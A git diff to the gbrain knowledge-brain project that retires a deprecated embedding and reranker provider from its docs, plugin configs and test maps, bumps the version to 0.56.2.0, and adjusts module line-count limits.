- **Memorable (procedural memory)**: optional, off by default. Your brain remembers *what* happened; Memorable makes your agent remember *how* — finished sessions become replayable procedures stored on your machine (in a standalone local store, or inside your brain database if you opt in), recalled when a similar task comes back. See the section below, and [`docs/memorable-agents.md`](docs/memorable-agents.md) for the agent-facing detail.
@@ -3559,7 +3618,7 @@ MIT. I built GBrain to run my OpenClaw and Hermes deployments — the production
Origin story: [`docs/ethos/ORIGIN.md`](docs/ethos/ORIGIN.md).
-Community PR contributors are credited in `CHANGELOG.md` per release. ZeroEntropy ([@zeroentropy](https://zeroentropy.dev)) for the ZeroEntropy embedding + reranker integration. Voyage AI for the asymmetric-encoding recipe template. Ramp Labs for the search quality improvements lineage.
+Community PR contributors are credited in `CHANGELOG.md` per release. Attribution for the retired provider's historical embedding and reranker integration remains in Git at `6040075c6cb95be5881cc2e1b76ef7d71f4e5d29`. Voyage AI for the asymmetric-encoding recipe template. Ramp Labs for the search quality improvements lineage.
---
diff --git a/llms.txt b/llms.txt
index ab6b7fed0c..f511437414 100644
--- a/llms.txt
+++ b/llms.txt
@@ -44,8 +44,7 @@ Repo: https://github.com/garrytan/gbrain
## AI providers
-- [docs/ai-providers/zeroentropy.md](https://raw.githubusercontent.com/garrytan/gbrain/master/docs/ai-providers/zeroentropy.md): ZeroEntropy (deprecated; hosted sunset 2026-09-04): the off-ramp for existing brains — migrate embeddings + reranker, self-host continuity, troubleshooting. Do not onboard.
-- [docs/ai-providers/llama-server-reranker.md](https://raw.githubusercontent.com/garrytan/gbrain/master/docs/ai-providers/llama-server-reranker.md): Local reranker via llama.cpp --reranking: Qwen3-Reranker or self-hosted ZE weights, --alias setup, gbrain config keys, cold-start timeout, budget-cap interaction.
+- [docs/ai-providers/llama-server-reranker.md](https://raw.githubusercontent.com/garrytan/gbrain/master/docs/ai-providers/llama-server-reranker.md): Local reranker via llama.cpp --reranking: Qwen3-Reranker, --alias setup, gbrain config keys, cold-start timeout, budget-cap interaction.
## Debugging
diff --git a/openclaw.plugin.json b/openclaw.plugin.json
index 15b35aa2c0..aa52384d8c 100644
--- a/openclaw.plugin.json
+++ b/openclaw.plugin.json
@@ -1,7 +1,7 @@
{
"id": "gbrain-context-engine",
"name": "gbrain",
- "version": "0.56.1.0",
+ "version": "0.56.2.0",
"description": "Personal knowledge brain with Postgres + pgvector hybrid search",
"family": "bundle-plugin",
"kind": "context-engine",
diff --git a/package.json b/package.json
index 583f87a1f6..9e93fe9c69 100644
--- a/package.json
+++ b/package.json
@@ -179,7 +179,7 @@
"bun": ">=1.3.11"
},
"license": "MIT",
- "version": "0.56.1.0",
+ "version": "0.56.2.0",
"overrides": {
"@ai-sdk/provider-utils": "4.0.33",
"@hono/node-server": "^2.0.5",
diff --git a/plugin-variants/gbrain-coding/.claude-plugin/plugin.json b/plugin-variants/gbrain-coding/.claude-plugin/plugin.json
index caa326fb0b..2a38a80268 100644
--- a/plugin-variants/gbrain-coding/.claude-plugin/plugin.json
+++ b/plugin-variants/gbrain-coding/.claude-plugin/plugin.json
@@ -1,6 +1,6 @@
{
"name": "gbrain-coding",
- "version": "0.56.1.0",
+ "version": "0.56.2.0",
"description": "Brain-first coding agent working inside a repo: retrieval, routing, ingest discipline, correction hygiene. Default persona for the claude-code harness bridge; also published as the gbrain-coding marketplace variant. (persona variant of the gbrain plugin — 21 skills)",
"author": {
"name": "Garry Tan",
diff --git a/plugin-variants/gbrain-coding/.codex-plugin/mcp.json b/plugin-variants/gbrain-coding/.codex-plugin/mcp.json
index a86221d7ad..c8b4c9584f 100644
--- a/plugin-variants/gbrain-coding/.codex-plugin/mcp.json
+++ b/plugin-variants/gbrain-coding/.codex-plugin/mcp.json
@@ -71,7 +71,6 @@
"PPLX_API_KEY",
"TOGETHER_API_KEY",
"VOYAGE_API_KEY",
- "ZEROENTROPY_API_KEY",
"ZHIPUAI_API_KEY"
]
}
diff --git a/plugin-variants/gbrain-coding/.codex-plugin/plugin.json b/plugin-variants/gbrain-coding/.codex-plugin/plugin.json
index cbb9ec1190..ddb64c5694 100644
--- a/plugin-variants/gbrain-coding/.codex-plugin/plugin.json
+++ b/plugin-variants/gbrain-coding/.codex-plugin/plugin.json
@@ -1,6 +1,6 @@
{
"name": "gbrain-coding",
- "version": "0.56.1.0",
+ "version": "0.56.2.0",
"description": "Brain-first coding agent working inside a repo: retrieval, routing, ingest discipline, correction hygiene. Default persona for the claude-code harness bridge; also published as the gbrain-coding marketplace variant. (persona variant of the gbrain plugin — 21 skills)",
"author": {
"name": "Garry Tan",
diff --git a/plugin-variants/gbrain-coding/README.md b/plugin-variants/gbrain-coding/README.md
index 8712eb314c..90dbb44561 100644
--- a/plugin-variants/gbrain-coding/README.md
+++ b/plugin-variants/gbrain-coding/README.md
@@ -1,4 +1,4 @@
-<!-- gbrain-plugin-tree-stamp: 0.56.1.0 -->
+<!-- gbrain-plugin-tree-stamp: 0.56.2.0 -->
# gbrain-coding (generated persona variant — do not hand-edit)
Brain-first coding agent working inside a repo: retrieval, routing, ingest discipline, correction hygiene. Default persona for the claude-code harness bridge; also published as the gbrain-coding marketplace variant.
diff --git a/plugin-variants/gbrain-daily/.claude-plugin/plugin.json b/plugin-variants/gbrain-daily/.claude-plugin/plugin.json
index 0d943db2a5..5ad173f6ca 100644
--- a/plugin-variants/gbrain-daily/.claude-plugin/plugin.json
+++ b/plugin-variants/gbrain-daily/.claude-plugin/plugin.json
@@ -1,6 +1,6 @@
{
"name": "gbrain-daily",
- "version": "0.56.1.0",
+ "version": "0.56.2.0",
"description": "Personal knowledge-brain daily use: meetings, tasks, briefings, reading, research. Published as the gbrain-daily marketplace variant. (persona variant of the gbrain plugin — 20 skills)",
"author": {
"name": "Garry Tan",
diff --git a/plugin-variants/gbrain-daily/.codex-plugin/mcp.json b/plugin-variants/gbrain-daily/.codex-plugin/mcp.json
index a86221d7ad..c8b4c9584f 100644
--- a/plugin-variants/gbrain-daily/.codex-plugin/mcp.json
+++ b/plugin-variants/gbrain-daily/.codex-plugin/mcp.json
@@ -71,7 +71,6 @@
"PPLX_API_KEY",
"TOGETHER_API_KEY",
"VOYAGE_API_KEY",
- "ZEROENTROPY_API_KEY",
"ZHIPUAI_API_KEY"
]
}
diff --git a/plugin-variants/gbrain-daily/.codex-plugin/plugin.json b/plugin-variants/gbrain-daily/.codex-plugin/plugin.json
index 0de87d2865..12b2a1a977 100644
--- a/plugin-variants/gbrain-daily/.codex-plugin/plugin.json
+++ b/plugin-variants/gbrain-daily/.codex-plugin/plugin.json
@@ -1,6 +1,6 @@
{
"name": "gbrain-daily",
- "version": "0.56.1.0",
+ "version": "0.56.2.0",
"description": "Personal knowledge-brain daily use: meetings, tasks, briefings, reading, research. Published as the gbrain-daily marketplace variant. (persona variant of the gbrain plugin — 20 skills)",
"author": {
"name": "Garry Tan",
diff --git a/plugin-variants/gbrain-daily/README.md b/plugin-variants/gbrain-daily/README.md
index e723e865df..3b0bdf030c 100644
--- a/plugin-variants/gbrain-daily/README.md
+++ b/plugin-variants/gbrain-daily/README.md
@@ -1,4 +1,4 @@
-<!-- gbrain-plugin-tree-stamp: 0.56.1.0 -->
+<!-- gbrain-plugin-tree-stamp: 0.56.2.0 -->
# gbrain-daily (generated persona variant — do not hand-edit)
Personal knowledge-brain daily use: meetings, tasks, briefings, reading, research. Published as the gbrain-daily marketplace variant.
diff --git a/plugin/README.md b/plugin/README.md
index d76995c890..601f981962 100644
--- a/plugin/README.md
+++ b/plugin/README.md
@@ -1,4 +1,4 @@
-<!-- gbrain-plugin-tree-stamp: 0.56.1.0 -->
+<!-- gbrain-plugin-tree-stamp: 0.56.2.0 -->
# gbrain plugin skill tree (generated — do not hand-edit)
This tree is the curated skill set for the gbrain Codex and Claude Code
diff --git a/scripts/e2e-matrix.ts b/scripts/e2e-matrix.ts
index 26bdde44fb..eb99470b2b 100644
--- a/scripts/e2e-matrix.ts
+++ b/scripts/e2e-matrix.ts
@@ -18,7 +18,6 @@ export const E2E_EXCLUSIONS = new Set([
'test/e2e/sync-delegation-under-serve.serial.test.ts',
'test/e2e/dream-synthesize-pglite.test.ts',
'test/e2e/skills.test.ts',
- 'test/e2e/zeroentropy-live.test.ts',
'test/e2e/voyage-rerank-live.test.ts',
'test/e2e/voyage-multimodal.test.ts',
]);
diff --git a/scripts/e2e-test-map.ts b/scripts/e2e-test-map.ts
index 345ec4d0fb..c7783b18e0 100644
--- a/scripts/e2e-test-map.ts
+++ b/scripts/e2e-test-map.ts
@@ -54,6 +54,7 @@ export const E2E_TEST_MAP: Record<string, string[]> = {
"src/commands/orphans.ts": ["test/e2e/engine-content-privacy.test.ts", "test/e2e/remote-privacy-journeys.test.ts"],
// Source-aware ranking, hybrid search, intent classification.
"src/core/search/**": [
+ "test/e2e/unsupported-embedding-identity-postgres.test.ts",
"test/e2e/projection-statistics-postgres.test.ts",
"test/e2e/search-query-contract-postgres.test.ts",
"test/e2e/vector-candidate-safety-postgres.test.ts",
@@ -133,7 +134,7 @@ export const E2E_TEST_MAP: Record<string, string[]> = {
// #3390: runSchemaTransition's DDL path + the stale predicates behave
// differently on real pgvector than on PGLite.
"src/core/embedding-migration.ts": ["test/e2e/migrate-embeddings-postgres.test.ts"],
- "src/core/retrieval-upgrade-planner.ts": ["test/e2e/migrate-embeddings-postgres.test.ts"],
+ "src/core/stored-embedding-identity.ts": ["test/e2e/unsupported-embedding-identity-postgres.test.ts"],
"src/commands/extract.ts": ["test/e2e/multi-source-bug-class.test.ts"],
"src/commands/migrate-engine.ts": [
"test/e2e/multi-source-bug-class.test.ts",
@@ -163,6 +164,10 @@ export const E2E_TEST_MAP: Record<string, string[]> = {
"src/core/db-lock.ts": ["test/e2e/db-lock-acquisition-token.test.ts", "test/e2e/sync-lock-overlap-postgres.test.ts", "test/e2e/managed-connector-fencing.test.ts", "test/e2e/managed-connector-recovery.test.ts"],
"src/core/lease-schema.ts": ["test/e2e/db-lock-acquisition-token.test.ts"],
"src/core/persistence/**": [
+ "test/e2e/persistence-publication-parity.test.ts",
+ "test/e2e/persistence-sync-origin-parity.test.ts",
+ "test/e2e/persistence-sync-options-parity.test.ts",
+ "test/e2e/persistence-sync-company-parity.test.ts",
"test/e2e/persistence-chaos.test.ts",
"test/e2e/persistence-runtime-matrix.test.ts",
"test/e2e/persistence-admin-intent.test.ts",
@@ -197,6 +202,7 @@ export const E2E_TEST_MAP: Record<string, string[]> = {
"src/core/pool-budget.ts": ["test/e2e/persistence-runtime-matrix.test.ts"],
"src/core/connection-manager.ts": ["test/e2e/persistence-runtime-matrix.test.ts", "test/e2e/pgbouncer-teardown.test.ts"],
"src/core/postgres-engine.ts": [
+ "test/e2e/unsupported-embedding-identity-postgres.test.ts",
"test/e2e/persistence-chaos.test.ts",
"test/e2e/db-lock-acquisition-token.test.ts",
"test/e2e/chunk-canonical-text-privacy.test.ts",
@@ -216,6 +222,7 @@ export const E2E_TEST_MAP: Record<string, string[]> = {
],
// PGLite bootstrap path + parity guard.
"src/core/pglite-engine.ts": [
+ "test/e2e/unsupported-embedding-identity-postgres.test.ts",
"test/e2e/persistence-chaos.test.ts",
"test/e2e/chunk-canonical-text-privacy.test.ts",
"test/e2e/engine-content-privacy.test.ts", "test/e2e/remote-privacy-journeys.test.ts",
@@ -228,6 +235,7 @@ export const E2E_TEST_MAP: Record<string, string[]> = {
// Engine method modules peeled from the façades carry the same blast
// radius as the façades themselves.
"src/core/postgres-engine/**": [
+ "test/e2e/unsupported-embedding-identity-postgres.test.ts",
"test/e2e/chunk-canonical-text-privacy.test.ts",
"test/e2e/engine-content-privacy.test.ts", "test/e2e/remote-privacy-journeys.test.ts",
"test/e2e/read-enrichment-privacy.test.ts", "test/e2e/legacy-chunk-privacy.test.ts",
@@ -241,6 +249,7 @@ export const E2E_TEST_MAP: Record<string, string[]> = {
"test/e2e/source-boundary-mutation-postgres.test.ts",
],
"src/core/pglite-engine/**": [
+ "test/e2e/unsupported-embedding-identity-postgres.test.ts",
"test/e2e/chunk-canonical-text-privacy.test.ts",
"test/e2e/engine-content-privacy.test.ts", "test/e2e/remote-privacy-journeys.test.ts",
"test/e2e/read-enrichment-privacy.test.ts", "test/e2e/legacy-chunk-privacy.test.ts",
diff --git a/scripts/llms-config.ts b/scripts/llms-config.ts
index a4305aba50..75fb1494b7 100644
--- a/scripts/llms-config.ts
+++ b/scripts/llms-config.ts
@@ -190,19 +190,10 @@ export const SECTIONS: DocSection[] = [
{
heading: "AI providers",
entries: [
- {
- title: "docs/ai-providers/zeroentropy.md",
- description:
- "ZeroEntropy (deprecated; hosted sunset 2026-09-04): the off-ramp for existing brains — migrate embeddings + reranker, self-host continuity, troubleshooting. Do not onboard.",
- path: "docs/ai-providers/zeroentropy.md",
- // Setup walkthrough — discoverable in the index, not inlined in the
- // single-fetch bundle (keeps llms-full.txt under FULL_SIZE_BUDGET).
- includeInFull: false,
- },
{
title: "docs/ai-providers/llama-server-reranker.md",
description:
- "Local reranker via llama.cpp --reranking: Qwen3-Reranker or self-hosted ZE weights, --alias setup, gbrain config keys, cold-start timeout, budget-cap interaction.",
+ "Local reranker via llama.cpp --reranking: Qwen3-Reranker, --alias setup, gbrain config keys, cold-start timeout, budget-cap interaction.",
path: "docs/ai-providers/llama-server-reranker.md",
includeInFull: false,
},
diff --git a/scripts/module-size-limits.tsv b/scripts/module-size-limits.tsv
index db28507c14..fe11b01f1b 100644
--- a/scripts/module-size-limits.tsv
+++ b/scripts/module-size-limits.tsv
@@ -3,7 +3,7 @@
# Raising a ceiling is a conscious, reviewer-visible act. Lower ceilings in
# the same commit as any peel (the guard fails on >50 lines of stale slack).
# Columns: path max_lines policy note
-src/cli.ts 4126 ratchet +48 fix wave: get_versions --json + honest ellipsis (#4692), boolean-flag literal true/false consume (#4602); grown v0.46.26.0 megawave: SIGCHLD reaper install, silent-failure surfacing, confirm-race gate (#2443 #2898 #2297); grown wave-g (#4488 #4508): in-band error exit codes + think --source validation; grown db-availability loop: engine/db-repair dispatch, degraded-serve catch, marker choke points (bottom handler + no-config exit + doctor fallback), engine-free config-set dispatch; fix cycle: static classifier imports, resolved-brain degraded gate, guarded reconnect, help rows; +chat-connectors wiring (master merge); wave-k +24 for #4083 auth self-help entry + top-level auth usage lines + takes self-help branch; +master-merge true-up; +20 gbrain backup pre-engine dispatch + startup backup nag rail (monthly backup check); wave-k: +24 for #4083 auth self-help entry + top-level auth usage lines + takes self-help branch; +3: doctor --no-migrate probeOnly seam (#4364); +37 v0.47 gmail-loops: google/creds dispatch + waiting/loops cases + self-help entries + OPEN LOOPS help section; master integration: harness support: boundary wiring to shared grants, isolated setup, withdrawal and delegated guards; merged v0.49: CLI combines hosted access and explicit legacy queue review; lowered to 4077: GHSA wave v0.50.5.0 moved the #3688 guardrails block into core/cli-preflight.ts (-10); re-summed to the merged line count after merging master v0.50.2.0 (#5122) with the v0.50.5.0 security wave; #5252 wave: partial-retrieval notices and resident code reindex delegation; merged company ingestion/schema routing changes; master retrieval/projection integration with company ingestion; shared skills: parse typed object/array operation flags before resident-owner delegation; merged reliability/shared-skills source integration
+src/cli.ts 4073 ratchet +48 fix wave: get_versions --json + honest ellipsis (#4692), boolean-flag literal true/false consume (#4602); grown v0.46.26.0 megawave: SIGCHLD reaper install, silent-failure surfacing, confirm-race gate (#2443 #2898 #2297); grown wave-g (#4488 #4508): in-band error exit codes + think --source validation; grown db-availability loop: engine/db-repair dispatch, degraded-serve catch, marker choke points (bottom handler + no-config exit + doctor fallback), engine-free config-set dispatch; fix cycle: static classifier imports, resolved-brain degraded gate, guarded reconnect, help rows; +chat-connectors wiring (master merge); wave-k +24 for #4083 auth self-help entry + top-level auth usage lines + takes self-help branch; +master-merge true-up; +20 gbrain backup pre-engine dispatch + startup backup nag rail (monthly backup check); wave-k: +24 for #4083 auth self-help entry + top-level auth usage lines + takes self-help branch; +3: doctor --no-migrate probeOnly seam (#4364); +37 v0.47 gmail-loops: google/creds dispatch + waiting/loops cases + self-help entries + OPEN LOOPS help section; master integration: harness support: boundary wiring to shared grants, isolated setup, withdrawal and delegated guards; merged v0.49: CLI combines hosted access and explicit legacy queue review; lowered to 4077: GHSA wave v0.50.5.0 moved the #3688 guardrails block into core/cli-preflight.ts (-10); re-summed to the merged line count after merging master v0.50.2.0 (#5122) with the v0.50.5.0 security wave; #5252 wave: partial-retrieval notices and resident code reindex delegation; merged company ingestion/schema routing changes; master retrieval/projection integration with company ingestion; shared skills: parse typed object/array operation flags before resident-owner delegation; merged reliability/shared-skills source integration; retired provider integration removed
src/commands/autopilot.ts 2671 ratchet grown v0.46.26.0 megawave (#4300 #4285 #3696) + master v0.46.27.0 env-file lane + boot warning + reload-safe install (#2608 #4443) + 1 nosemgrep dataflow annotation (path-traversal audit); +chat-connectors wiring; +20 #4728 wrapper exec guard (baked CLI path gone -> PATH fallback / --install hint); +5 #4952 (refs #4399): syncEnabled=false skip in the freshness dispatch loop
src/commands/doctor.ts 4593 ratchet grown v0.46.26.0 megawave: silent-death checks, self-upgrade honesty, noise pruning (#3944 #3925 #3958); +21 lines (#4518: don't assert "supervisor not running" when the --fast mode DB-lock fallback was never attempted); +12 lines (#2036/#4484: schema_version warns on forward DB skew); +12 lines (#4476: oversized_pages excludes embed_skip pages via canonical EMBED_SKIP_FILTER_FRAGMENT); merged wave-g-prs (#4421 #4425 #4517 #4519): one in-branch live-column diff on detectMissingColumns + engine-aware superseded upgrade-error suppression (explicit ok); grown db-availability loop: classified connection check + synthesized total-outage entry + hoisted pgbouncer helper + engine-fit check wiring + report engine/db_url_source fields; +chat-connectors wiring (master merge); +12 lines (#2036/#4484: schema_version warns on forward DB skew via schemaVersionHealth); merged wave-g-prs (#4421 #4425 #4517 #4519): in-branch live-column diff + engine-aware superseded upgrade-error suppression; wave-k: schema_columns emitted as its own check inside the ledger-current branch (gbrain#4421), schema_version via schemaVersionHealth module, conversation_format_coverage peeled to doctor/checks/conversation-coverage.ts (#4193); +7 backup_coverage check registration (monthly backup check); +master-merge true-up; wave-k: schema_columns emitted as its own check inside the ledger-current branch (gbrain#4421), schema_version via schemaVersionHealth module, conversation_format_coverage peeled to doctor/checks/conversation-coverage.ts (#4193); +9 v0.47 gmail-loops: google_oauth vault-health check dispatch; +17 (#4712: git-root-pinned source skip note wiring + all-skipped warn-not-ok status for multi_source_drift); +8 memorable_relay_health wiring (check itself is a peel: doctor/checks/integrations-memorable.ts); +9 ambient-writeback WP6: memory_writeback check registration (logic lives in doctor/checks/memory-writeback.ts); +14 default_source_local_path registration (#4739 — check body peeled to doctor/checks/default-source-path.ts); +9 atom_provenance_drift registration (#4566 — check body lives in doctor/checks/extraction-sync.ts); master: | merged v0.48.1.0 true-up; #5252 wave: scoped projection readiness registration; shared content: register the separately scoped canonical publication/recovery check; merged reliability/shared-skills source integration
src/commands/embed.ts 2144 ratchet lowered v0.46.26.0: embedBatchWithBackoff + retry cluster peeled to core/embed-retry.ts (core/commands layering fix); grown wave-g (#4530): per-model input-limit wiring; wave-k #3622 reimpl: --stale zero-progress failure quarantine; +29 #4668 (#4530): oversize-heal call sites in both --stale drains — kept low by peeling the healed-row remap to core/embed-oversize-heal.ts (shared with embed-stale.ts); +35 #4647 (refs #4599): per-tick timeout+abort on the single-flight lock heartbeat refresh (interval deliberately NOT unref'd); +122 refs #4599: stall-watchdog race around the drain + shared idempotent flushAndRelease + CLI stall exit mapping (watchdog machinery itself lives in core/embed-stall.ts); +12: adversarial-review hardening (healed_splits progress key + heal-tick comment); #5105: guarded derived projection preparation and read seals; #5105: conditional embedding installer wiring
@@ -11,8 +11,8 @@ src/commands/extract-conversation-facts.ts 2125 ratchet grown v0.46.x per-provid
src/commands/extract.ts 2659 ratchet grown v0.46.26.0 megawave: FS-walk stamp snapshot + legacy timeline repair wiring (#3957 D4) + PR#4486 rebase onto current master; grown wave-g (#4542): --from-meetings zero-match warning + default-pass note; +29: #3478 federated-only gate on the cross-source 'default' link fallback; +44: #3908 cross_source opt-in — counted drops + deterministic cross-source pick; +36: #4611 configured-sources.default fallback (resolveLinkFallbackDefault); +14: #4890 extractStaleFromDB quiet opt + extractForSlugs jsonMode batch_error stderr fallback; +5: #4855 stroke-letter fold in link extraction; +5: #4793 by-mention scan honours link_resolution.cross_source; +18: wave review — ExtractOpts.quiet threaded through the fs-walk extractors (stdout silence decoupled from jsonMode); +77: shared buildSlugPathIndex — every per-slug extractor resolves the real on-disk path, and the sync hooks report which slugs they actually read; +10 #4999: includeFrontmatter default-resolved inside extractLinksForSlugs + extractStaleFromDB (resolveIncludeFrontmatter), --stale flag absent -> configured knob; +20: pre-landing review of #4967 — resolveSlugRelPath: index miss falls back to the legacy slug+'.md' path so admitted _-prefixed / include_hidden pages keep their edges; T2: source-qualified inference and atomic origin-scoped derived links; standard DB extraction fences captured endpoint revisions
src/commands/jobs.ts 3210 ratchet grown v0.46.26.0 megawave (#4098 #2308) + master v0.46.26.0 worker startup recovery + stats gating; +typed provider-failure logging on the facts-absorb catch (#4308); +chat-connectors wiring (master merge); +16 v0.47 gmail-loops: loops_extract handler + gateway-refresh entry; +8 refs #4599: embed + embed-catch-up handlers fail the job on a stall_timeout result (assertEmbedNotStalled); security: durable queued authority and confined filesystem dispatch; drained cancellation and lease-safe partial results; queued import failures remain failures; master integration: grown v0.46.26.0 megawave (#4098 #2308) + master v0.46.26.0 worker startup recovery + stats gating; +typed provider-failure logging on the facts-absorb catch (#4308); +chat-connectors wiring (master merge); +16 v0.47 gmail-loops: loops_extract handler + gateway-refresh entry; +8 refs #4599: embed + embed-catch-up handlers fail the job on a stall_timeout result (assertEmbedNotStalled); #5105: two-line delegate validates revision and durable authority before fact backstop execution; upstream integration: preserve independently reviewed master additions with branch facade extraction; +13 v0.50.5.0 security merge (upstream delta; coordinated facade retained); merged reliability/shared-skills source integration
src/commands/serve-http.ts 3098 ratchet registration and grant routes extracted; owner authentication and configured discovery remain in the HTTP facade; one shared bootstrap-token-shape import from serve-service; merged scoped shared-skill resources and named capability checks
-src/core/ai/gateway.ts 4914 ratchet +20: schema-rejection fallback in chat() (retry once schemaless on a json_schema 4xx, remember the recipe for the process — mirrors expand()); re-summed after merging master v0.50.0.0 with the wave (structured-output + pricing hunks); +48: #4863 ChatOpts.responseSchema → tolerant json_schema Output on the chat() generateText call for openai-compatible recipes that declare structured outputs (facts extraction on Ollama); +74: #3657 post-sunset rerank short-circuit (effective-model check, once-per-process audit row + stderr, injected-clock seam); grown v0.46.26.0 megawave: config-plane probes + halt telemetry (#3387 #4312); +21 lines (OpenAI Responses API reasoning-item echo: ChatBlock 'reasoning' variant, chat()/toModelMessages() round-trip); wave-k absorbs: OCR routing seam (#4107 class), config-snapshot reader block (#3980); +21: #4107 OCR-model routing (getImageOcrModel); +10: keyless OPENAI_BASE_URL embedding override (#4385); wave-k #3622 reimpl: GBRAIN_EMBED_MAX_BATCH_TOKENS env cap for no_batch_cap recipes; +9: DeepSeek judge thinking pin plumbed through chat opts (#4069); +master v0.48 merge true-up (reranker succession: no_key preflight, reranker_skipped stage, readiness); ranker wave v0.48.4.0: ChatOpts.temperature threaded to the transport (+15); +24: #4172 recipe-declared thinking headroom on the chat()/toolLoop() default — shared isThinkingModel predicate (Claude-5 regex || recipe thinking_by_default, fail-closed), also consumed by the subagent handler; +20: #4861 claude-cli expansion routed to the schemaless viaText path (the CLI adapter ignores responseFormat, so the native generateObject branch had no fallback)
-src/commands/sync.ts 5994 ratchet +1 #4786/#3068 pre-landing: pullFailed early return reports the sweep count (comment line); +1 #4786 x #2139 pre-landing: both embed-backfill submit gates require syncProducedEmbeddableContent (import line); re-summed after merging master v0.50.0.0 with the wave (include_hidden, sweep count, cost-gate envelope); +1 wave review: sync trigger --json emits {job_id} JSON; grown v0.46.26.0 megawave: image sync, ingest-log gating, dry-run purity, checkpoint honesty (#2683 #4342 #3875) + 3 nosemgrep dataflow annotations (path-traversal audit); +#2683 residual: status-error failure recording at both import sites; +143 wave G #3974: working-tree drift surfacing + opt-in --working-tree import; grown wave-g (#4412 #4543): break-lock ambient source resolution + named failing files; grown db-availability loop: GBRAIN_DB_ACCESS marker on checkpoint-dead aborts; fix cycle: marker via shared DB_ACCESS_MARKER_PREFIX + shouldEmitDbAccessMarker; wave-k: #3570 rename-sentinel operator-exit safety (cross-source-scoped resolve, tracked-file liveness index, orphaned-sentinel self-heal) + #4027 --include-hidden dot-prune waiver (threaded into the hoisted syncOpts); +6 #2683 residual: the rename lane's errored-skip branch now sets importErrored too, closing the gap left when status-error handling was added only for the throw and status='error' cases; +master-merge true-up; +25 post-sync backup-coverage stale-only refresh (monthly backup check); wave-k: #3570 rename-sentinel operator-exit safety (cross-source-scoped resolve, tracked-file liveness index, orphaned-sentinel self-heal) + #4027 --include-hidden dot-prune waiver (threaded into the hoisted syncOpts); +6 #2683 residual: the rename lane's errored-skip branch now sets importErrored too, closing the gap left when status-error handling was added only for the throw and status='error' cases; +1: #4412 refinement — explicit --source stays resolver-free (deleted-source locks breakable); +10 v0.47 gmail-loops: google source-kind dispatch branch; +48 #4667 adoption: persisted sync.exclude config union hoisted above the performFullSync early returns; +22 #4587: all 7 delete lanes swapped to softDeletePages (72h recovery window), decompose comments + summary wording; +16 #4583: seed_default write refusal on bulk-non-default brains (assessDefaultWriteGuard call site + escape-hatch comment); composition true-up (fix-wave multi-train); +33 #4597: trackedSlugIndex.anchorOnlyPaths (slug -> anchor paths that alone proved it) + the self-referential from-path rule in slugLiveness so a fallback rename's own pre-rename duplicate converges under incremental sync; +12 #4888: runSync wraps runSyncInner in withHumanLogsToStderr under --json (stdout = JSON lines only) + help text; wave composition: #4903 stored-strategy honor + #4597 fallback-rename duplicate convergence + #4888 --json stdout purity summed; security: durable queued authority and confined filesystem dispatch; drained cancellation and lease-safe partial results; master integration: +1 wave review: sync trigger --json emits {job_id} JSON; grown v0.46.26.0 megawave: image sync, ingest-log gating, dry-run purity, checkpoint honesty (#2683 #4342 #3875) + 3 nosemgrep dataflow annotations (path-traversal audit); +#2683 residual: status-error failure recording at both import sites; +143 wave G #3974: working-tree drift surfacing + opt-in --working-tree import; grown wave-g (#4412 #4543): break-lock ambient source resolution + named failing files; grown db-availability loop: GBRAIN_DB_ACCESS marker on checkpoint-dead aborts; fix cycle: marker via shared DB_ACCESS_MARKER_PREFIX + shouldEmitDbAccessMarker; wave-k: #3570 rename-sentinel operator-exit safety (cross-source-scoped resolve, tracked-file liveness index, orphaned-sentinel self-heal) + #4027 --include-hidden dot-prune waiver (threaded into the hoisted syncOpts); +6 #2683 residual: the rename lane's errored-skip branch now sets importErrored too, closing the gap left when status-error handling was added only for the throw and status='error' cases; +master-merge true-up; +25 post-sync backup-coverage stale-only refresh (monthly backup check); wave-k: #3570 rename-sentinel operator-exit safety (cross-source-scoped resolve, tracked-file liveness index, orphaned-sentinel self-heal) + #4027 --include-hidden dot-prune waiver (threaded into the hoisted syncOpts); +6 #2683 residual: the rename lane's errored-skip branch now sets importErrored too, closing the gap left when status-error handling was added only for the throw and status='error' cases; +1: #4412 refinement — explicit --source stays resolver-free (deleted-source locks breakable); +10 v0.47 gmail-loops: google source-kind dispatch branch; +48 #4667 adoption: persisted sync.exclude config union hoisted above the performFullSync early returns; +22 #4587: all 7 delete lanes swapped to softDeletePages (72h recovery window), decompose comments + summary wording; +16 #4583: seed_default write refusal on bulk-non-default brains (assessDefaultWriteGuard call site + escape-hatch comment); composition true-up (fix-wave multi-train); +33 #4597: trackedSlugIndex.anchorOnlyPaths (slug -> anchor paths that alone proved it) + the self-referential from-path rule in slugLiveness so a fallback rename's own pre-rename duplicate converges under incremental sync; +12 #4888: runSync wraps runSyncInner in withHumanLogsToStderr under --json (stdout = JSON lines only) + help text; wave composition: #4903 stored-strategy honor + #4597 fallback-rename duplicate convergence + #4888 --json stdout purity summed; #5252 wave: post-batch planner statistics refresh; merged company ingestion/schema routing changes; master retrieval/projection integration with company ingestion; merged reliability/shared-skills source integration
+src/core/ai/gateway.ts 4500 ratchet +20: schema-rejection fallback in chat() (retry once schemaless on a json_schema 4xx, remember the recipe for the process — mirrors expand()); re-summed after merging master v0.50.0.0 with the wave (structured-output + pricing hunks); +48: #4863 ChatOpts.responseSchema → tolerant json_schema Output on the chat() generateText call for openai-compatible recipes that declare structured outputs (facts extraction on Ollama); +74: #3657 post-sunset rerank short-circuit (effective-model check, once-per-process audit row + stderr, injected-clock seam); grown v0.46.26.0 megawave: config-plane probes + halt telemetry (#3387 #4312); +21 lines (OpenAI Responses API reasoning-item echo: ChatBlock 'reasoning' variant, chat()/toModelMessages() round-trip); wave-k absorbs: OCR routing seam (#4107 class), config-snapshot reader block (#3980); +21: #4107 OCR-model routing (getImageOcrModel); +10: keyless OPENAI_BASE_URL embedding override (#4385); wave-k #3622 reimpl: GBRAIN_EMBED_MAX_BATCH_TOKENS env cap for no_batch_cap recipes; +9: DeepSeek judge thinking pin plumbed through chat opts (#4069); +master v0.48 merge true-up (reranker succession: no_key preflight, reranker_skipped stage, readiness); ranker wave v0.48.4.0: ChatOpts.temperature threaded to the transport (+15); +24: #4172 recipe-declared thinking headroom on the chat()/toolLoop() default — shared isThinkingModel predicate (Claude-5 regex || recipe thinking_by_default, fail-closed), also consumed by the subagent handler; +20: #4861 claude-cli expansion routed to the schemaless viaText path (the CLI adapter ignores responseFormat, so the native generateObject branch had no fallback); retired provider integration removed
